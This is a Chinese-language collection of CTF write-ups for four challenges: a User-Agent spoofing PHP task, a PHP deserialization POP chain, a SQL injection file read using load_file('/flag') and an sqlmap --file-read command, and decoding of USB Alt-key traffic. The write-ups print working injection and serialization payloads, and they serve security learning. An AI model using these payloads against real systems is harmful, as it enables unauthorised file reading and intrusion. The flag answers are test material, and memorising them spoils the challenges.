ez_unser
观察源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php $UA = $_SERVER ['HTTP_USER_AGENT' ];$os = stripos ($UA , "Windows NT 5.1;" );$br = stripos ($UA , "zilla/4.0" );if ($os == null ) { echo "<p>需要使用windows xp 系统的电脑才能访问!<br/> </p>" ; exit ; }if ($os && ($br == null )) { echo "<p>这是什么未来浏览器?<br/> </p>" ; exit ; }if ($os && $br ) { echo "<h3>POST 这个browser的名字,然后用你想说的word来跟他道别吧<br/> </h3>" ; $browser = $_POST ['browser' ]; $word = $_POST ['word' ]; if ($browser && $word ) { $br_bool = strcmp ($browser , "IE" ); $wo_bool = strcmp ($word , "goodbye" ); if ($br_bool ) { echo "不是这个browser <br />" ; } if ($wo_bool ) { echo "不是这个word <br />" ; } if ($br_bool == 0 && $wo_bool == 0 ) { system ("cat /flag" ); } } }
先修改user-agent
,把系统改成Windows NT 5.1;
、浏览器改成Mozilla/4.0
;
再用post
方式发送browser=IE&word=goodbye
. 记得改成post
的时候在headers
里添加一项content-type: text/plain
以识别发送出去的文本.
Source: 题库
http_ex
pop
链的构造. 先调用__wakeup()
,再传入__toString()
.
1 O:5 :"ADMIN" :1 :{s:8 :"resource" ;O:7 :"handler" :1 :{s:3 :"doc" ;O:6 :"client" :0 :{}}}
然后这是假的flag
. 用php
伪协议读取一下flag.php
的源码,发现真正flag
的位置.
1 2 3 <?php echo 'flag{Un53rial1z3_1s_v3rY_1nt3re5t|nG_6ut_th15_I5_a_f@ke_fL@g_lol}' ;$flag ='./Tru3Flag.php' ;
访问/Tru3Flag.php
,获得flag
.
Source: 题库
harrrd_sql^2
代码审计.
看名字应该是sql注入,不能确定. 附件有一份源码,下载后看到Database.php
,确认服务器存在mysql数据库;接着看PostController.php
:
PostController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class PostController { public $db ; public function __construct ($db ) { $this ->db=$db ; } function add ($author ,$title ,$content ) { $sql ="INSERT INTO post SET author='$author ',title='$title ',content='$content '" ; return (bool )mysqli_query ($this ->db->conn,$sql ); } function show ( ) { $row =[]; $sql ="SELECT * FROM post" ; $res =mysqli_query ($this ->db->conn,$sql ); for ($i =0 ;$i <mysqli_num_rows ($res );$i ++){ $row [$i ]=mysqli_fetch_assoc ($res ); } return $res ?$row :false ; } function get ($id ) { $sql ="SELECT * FROM post WHERE id=$id " ; $res =mysqli_query ($this ->db->conn,$sql ); return mysqli_fetch_assoc ($res ); } }
发现sql语句拼接,找到注入点.
通过sql的load_file
函数可以读取文件.
在评论中发送',content=(load_file('/flag'))#
拼接语句即可.
还有一种方式,使用sqlmap
直接暴力尝试注入读文件.
1 sqlmap -u "http://***/read_post.php?action=add_comment&id=27" --data "author=aa&content=bb" --file-read "/flag"
Source: 题库
Alt
用WireShark打开文件,发现USB流量,以及“HID DESCRIPTOR
”参数. 因此可以用tShark
来提取数据.
找到该数据的格式为usbhid.data
.
因此执行以下命令提取(以Windows上WireShark自带的tShark为例):
1 tshark -r keyboard.pcapng -T fields -e usbhid.data > out.txt
获得一串键盘流量.
键盘流量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 04005a0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 0400600000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005f0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 04005a0000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 0400000000000000 04005b0000000000 0400000000000000 0400600000000000 0400000000000000 0400590000000000 0400000000000000 0400610000000000 0400000000000000 0400620000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 04005b0000000000 0400000000000000 0400620000000000 0400000000000000 04005c0000000000 0400000000000000 04005a0000000000 0400000000000000 04005c0000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 04005a0000000000 0400000000000000 04005f0000000000 0400000000000000 0400610000000000 0400000000000000 04005e0000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 04005b0000000000 0400000000000000 04005f0000000000 0400000000000000 04005b0000000000 0400000000000000 04005a0000000000 0400000000000000 04005f0000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 04005e0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 04005c0000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005f0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 0400600000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 04005e0000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 04005a0000000000 0400000000000000 0400590000000000 0400000000000000 04005e0000000000 0400000000000000 04005c0000000000 0400000000000000 04005c0000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 04005b0000000000 0400000000000000 0400590000000000 0400000000000000 04005b0000000000 0400000000000000 0400600000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 04005a0000000000 0400000000000000 04005d0000000000 0400000000000000 0400590000000000 0400000000000000 04005c0000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 04005c0000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 0400000000000000 04005d0000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 04005d0000000000 0400000000000000 04005b0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 0000000000000000 0400000000000000 04005c0000000000 0400000000000000 0400600000000000 0400000000000000 0000000000000000 0400000000000000 04005f0000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 0400000000000000 04005f0000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 0400000000000000 04005c0000000000 0400000000000000 0400600000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 0400590000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000 0400000000000000 04005b0000000000 0400000000000000 04005f0000000000 0400000000000000 04005a0000000000 0400000000000000 04005b0000000000 0400000000000000 0400610000000000 0400000000000000 0000000000000000 00002a0000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 04005a0000000000 0400000000000000 04005d0000000000 0400000000000000 0000000000000000
发现一些规律,前面的“04 04 0 4 ”是按下Alt
键的状态,而后面的两位键码也可以从以下文档的第55 55 5 5 页中找到.
传送门
然后按Alt
键同时在小键盘输入数字的这种方法应该不陌生,就是输入unicode
字符的方式.
现在只需要把Alt
后面加上的编码对应的数字找出来,并且把这n n n 个数字连接成一个n n n 位整数即可.
注意里面还有没有按住Alt
键直接输入的字符. 下面给出了一个C++示例代码,注意该代码并不完整,需要将输出的空格处补0,还需补上那些没有按住Alt
键直接输入的字符.
点击查看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <bits/stdc++.h> #define ll int #define rg register #define rll rg ll #define put_ putchar(' ' ) #define putn putchar('\n' ) #define maxn 101 using namespace std; ll cnta,cntb,sum;char s[maxn];char a[maxn],b[maxn];int main () { freopen ("in.txt" ,"r" ,stdin); while (~scanf ("%s" ,s+1 )) { if (s[2 ]=='0' ) { if (sum) printf ("\\u%4x" ,sum),sum=0 ;continue ; } if ((s[5 ]=='0' )&&(s[6 ]=='0' )) continue ; rg ll c=0 ; if (s[5 ]>='a' &&s[5 ]<='f' ) c+=s[5 ]-'a' +10 ; else c+=s[5 ]^'0' ; c*=16 ; if (s[6 ]>='a' &&s[6 ]<='f' ) c+=s[6 ]-'a' +10 ; else c+=s[6 ]^'0' ; sum=sum*10 +(c-88 )%10 ; } return 0 ; }
得到一串Unicode
编码,使用在线工具转换即可.
1 \u0066 \u006c \u0061 \u0067 \u007b \u952e \u76d8 \u6d41 \u91cf \u005f \u0077 \u0069 \u0074 \u0068 \u005f \u0061 \u006c \u0074 \u005f \u548c \u7a97 \u6237 \u005f \u0031 \u0035 \u005f \u0035 \u006f \u0030 \u004f \u004f \u0030 \u006f \u005f \u9177 \u007d
Source:NewStar CTF 2024